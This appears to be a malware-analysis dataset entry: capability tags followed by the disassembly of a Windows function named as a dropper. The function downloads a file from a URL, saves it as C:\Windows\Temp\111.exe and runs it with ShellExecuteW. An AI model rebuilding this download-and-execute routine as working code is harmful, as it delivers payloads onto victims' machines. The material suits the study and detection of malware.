Function at 0x140001000
Capabilities:
Create http request
Create process on windows
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x450
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x440], rax
xor esi, esi
lea rcx, str.Dropper
xor r9d, r9d
mov dword [rsp + 0x20], esi
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rdi, rax
test rax, rax
jne 0x140001072
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_initializing_InternetOpen.
call fcn.140001200
mov rcx, rax
lea rdx, [0x1400013e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov eax, 1
jmp 0x1400011d1
mov qword [rsp + 0x28], rsi
lea rdx, [0x140003350]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov qword [rsp + 0x460], rbx
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
jne 0x1400010cd
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Error_opening_the_URL.
call fcn.140001200
mov rcx, rax
lea rdx, [0x1400013e0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x1400011bb
lea r8, [0x1400033d8]
lea rdx, str.C:WindowsTemp111.exe
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
test eax, eax
jne 0x140001196
cmp qword [rsp + 0x30], rsi
je 0x140001196
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x140001153
mov eax, dword [rsp + 0x38]
test eax, eax
je 0x140001153
mov r9, qword [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov r8d, eax
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
lea r9, [rsp + 0x38]
mov r8d, 0x400
lea rdx, [rsp + 0x40]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x140001116
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r9d, r9d
mov dword [rsp + 0x28], esi
lea r8, str.C:WindowsTemp111.exe
mov qword [rsp + 0x20], rsi
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
jmp 0x1400011c9
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001420
mov rcx, rax
lea rdx, [0x1400015f0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rbx, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.1400016f0
mov rsi, qword [rsp + 0x468]
add rsp, 0x450
pop rdi
ret